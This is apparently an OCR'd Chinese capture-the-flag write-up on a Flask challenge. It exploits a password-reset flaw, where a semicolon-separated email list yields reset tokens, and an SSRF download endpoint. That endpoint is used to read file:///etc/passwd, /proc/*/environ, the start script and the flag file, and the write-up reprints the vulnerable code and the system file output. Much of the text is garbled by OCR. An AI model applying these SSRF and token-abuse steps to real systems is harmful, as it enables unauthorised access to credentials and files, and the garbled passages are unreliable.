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Togin: itEEIK 7 Eadmin, ZFARH, 255104, TR, LsqliEA
reset: FHFZEemail
download: % /&adminkfR

O AF%ke 39.107.121.54

// Debuging and testing
// (function() {
// B dbut tonfZ 4 fhFH
$ (“button”). click (function() {
$. get ("/getPrivateInfo/?username=", function (data, status) {
alert ("#diz: 7 + data + "\nR&: 7 + status);
R
b
/1 Y0);
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Email:saferman@23333.private.reallybesthack.com

ZFlemailBRZEresety (XEERMNAIIF G REEAadminggemail)
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Reset Admin's
password

LINN

A T=e 39.107.121.54

set link: /resetpassword?token=c9ovixwbre5kzi07110-c2FmZXJtYW5AMjMzMzMucHJpdmF0ZS5yZWFsbHIiZXNOaGFjay5jb20x

TRIX A tokenBYBRY, [EFEBOIEERAIbase64wT, RIHFERD B — I ARARIINE, SiIRMERE
a, 82

= BrAZEadmin
J:L?)L%ETJHHE’J—AEZKE’JU%T BMAZETERGE, —BECVEFTIEKER, webpAREHHA
W7 PMRRERMTS, XERESREHT T

o 55HKER

o BEELINER

BAIEE, BERIR(IE /resetpassword?token=xxxxx , {B2EEreset->emailFE3KEadmin-
token, EEEAMINEL?

BAERMNBZNRINEZETN, 2aLAEEEEtokenfEidemailEEEEladmindJtoken?
MRRRE=AFBER, MEEEI—27

SCRRAIE, resetiEOAMERILUES: saferman@23333.private. reallybesthack.coml EAEHIFEEL
B, XBRIFE—T

1 @app.route('/reset/', methods=['GET', 'POST'])

2  def reset():

3 if request.method == 'POST':

4 email = request.json['email']

5 result = {}

6 if (isinstance(email,str) and email.startswith(admin_email) ) or \

7 (isinstance(email,list) and len(email)>0 and email[0] ==
admin_email ) or\

8 (isinstance(email, tuple) and len(email)>0 and email[0] ==
admin_email):

9 # send email

10 # session['admintoken'] = xxxx



11 # /resetpassword?token=

12 if isinstance(email,str):

13 email = email.split(";")

14 # email = [email]

15 email2token = {}

16 for each_email in email:

17 email2token[each_email] = genToken(each_email)

18 t=1{}

19 for k_email,v_token in email2token.items():

20 if k_email == admin_email:

21 session['admintoken'] = v_token

22 else:

23 t[k_email] = "/resetpassword?token=" + v_token

24 result['code'] = "okK"

25 result['message'] = "The reset 1link is sent to emails
successfully!" + \

26 "If you don't receive the email, please see your reset Tink
via /getPrivateInfo/?email=[your_email]"

27 session['Tinkdict'] = json.dumps(t)

28 # print(session['linkdict'])

29 else:

30 result['code'] = "bad"

31 result['message'] = "sorry, not admin's email"

32 return jsonify(result)

33 if request.method=="GET":

34 return render_template('reset.html', inline_css=INLINE_CSS)

8, PAEVe? FAERERMARY, EFemailEphiitokenBHARRE
XEAILASMpythonillA, XERNERT, RIBHIHEEES, MASEREIENETF, HL, &%
PfItokenfIEIE R BE&RERINAFFF, gL, FITLIERreset’email

1 saferman@23333.private.reallybesthack.com
2 saferman@23333.private.reallybesthack.com8=>ycdhwoaj6lsmbkgu234-
C2FmZXJItYW5AMjMzMzMucHIpdmF0ZS5yZWFsbH1izXNOaGFjay5jb204

REtREycdhwoaj61smbkgu234RE=(FTIEM, BISIEERRItoken/KE /resetpassword/

i OEFRIAT EEadminAYZEHS McQKiL7Fgtozw7TAOpymfeijmTkks81G , XERIEHFAVAHRRE LA IR
®R, BEXERAEE

1 if _name__ == "_main__":

2 import sys

3 import os

4

5 sys.path.append('/app"')

6

7 try:

8 0s.setgid(1001) # JouniE4l

9 os.setuid(1001) # FHiZE/™
10 print("Dropped privileges to uid=1001 gid=1001")
11 except PermissionError:
12 print("warning: Cannot drop privileges (not running as root)")
13
14 from waitress import serve



15

16 print("Sstarting server on http://0.0.0.0:8000 with 10 threads...™)
17 serve(

18 app,

19 host="'0.0.0.0",

20 port=8000,

21 threads=10, # BE4E4N threads=10

22 # connection_Timit=1000, # wJik: $EEiEiEs

23 # asyncore_use_poll=True, # #Jik: PLAeiAk

24 )

S2RZBEESR, BIEJLUMERdownloadiEz, EXRE/NSSRF, HiF] file:///etc/passwd
en, FHRIKIERS, /app/app.py &8, EAELMN

1 /proc/self/environ #/app/main.py
2 /proc/l/environ  #ixH & —AHER

ZEFBZ R AREMNET, SR MEORLIFTSSRF

1 @app.route('/download/', methods=['POST'])

2 def download():

3 # can visit this api directly

4 if not session.get('username', None):

5 return redirect(url_for('login'))

6 if request.method == 'POST':

7 url = request.form["url"]

8 try:

9 # banned_suffix = re.compile('.*(\.py)")

10 # if re.match(banned_suffix, url):

11 # return "U are not allowed to read .py file"
12 # rex_ip = re.compile('.*((127\\.0\\.0\\.1)|(0177.0.0.1)|

(0x7F000001) | (2130706433) | (TocaThost) | (LO\\.\\d{1, 3}\\.\\d{1,3\\.\\d{1,3}) |
(A72\\. ((1[6-91) [ (2\\d) [ (3[011))\\.\\d{1,3}1\\.\\d{1,3}) |
(192\\.168\\.\\d{1,3}\\.\\d{1,3})) ")

13 # if re.match(rex_ip, url):

14 # return "Banned, because a internal IP address is
detected!"

15 res = urllib.request.urlopen(url)

16 return res.read().decode('utf-8")

17 except Exception as e:

XEBgopher@FAARTH, #FGRREE leiLy, AN —1redis, BFIART
REFEEIKATLRCE, INNFERNE/root THYflag, EUELBERINEST
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Hello admin

X MARFEAANERMN T Edemo

T
file:///etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd: /usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent: /usr/sbin/nologin
_apt:x:100:65534: : /nonexistent:/bin/false
redis:x:101:102::/var/lib/redis:/bin/false
uwsgi:x:1001:1001: :/home/uwsgi:

HS XA THRIRNERAY /proc/1/cmd1ine

/etc/passwd/etc/start.sh

HISBIEE /etc/start.sh, FALRERflaghIsdts, &b

O 00 N O U1 »h W N B
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#!/bin/bash

FLAG_PATH=/sdgfsdfyxzfvgjnrtuwerewyrtu_flag
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
case $FLAG_MODE 1in
"M_ECHO")
echo -n ${ICQ_FLAG} > ${FLAG_PATH}
FILE_MODE=644
chmod ${FILE_MODE} ${FLAG_PATH}
"M_SED")
#sed -i "s/flag{x*}/${1CQ_FLAG}/" ${FLAG_PATH}
sed -1 -r "s/flag\{[A\}]1*\}/${ICQ_FLAG}/" ${FLAG_PATH}
"M_sQL™)
# sed -i -r "s/flag\{.*\}/${ICQ_FLAG}/" ${FLAG_PATH}
# mysql -uroot -proot < ${FLAG_PATH}

*)

esac
echo [+] ICQ_FLAG OK
unset ICQ_FLAG
else
echo [!] no ICQ_FLAG
i

# del eci env
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34
35
36

1

rm -rf /etc/profile.d/pouchenv.sh
rm -rf /etc/instanceInfo

redis-server /etc/redis/redis.conf
# tail -f /dev/null

# uwsgi --ini /app/app.ini

python /app/main.py

file:///sdgfsdfyxzfvgjnrtuwerewyrtu_flag
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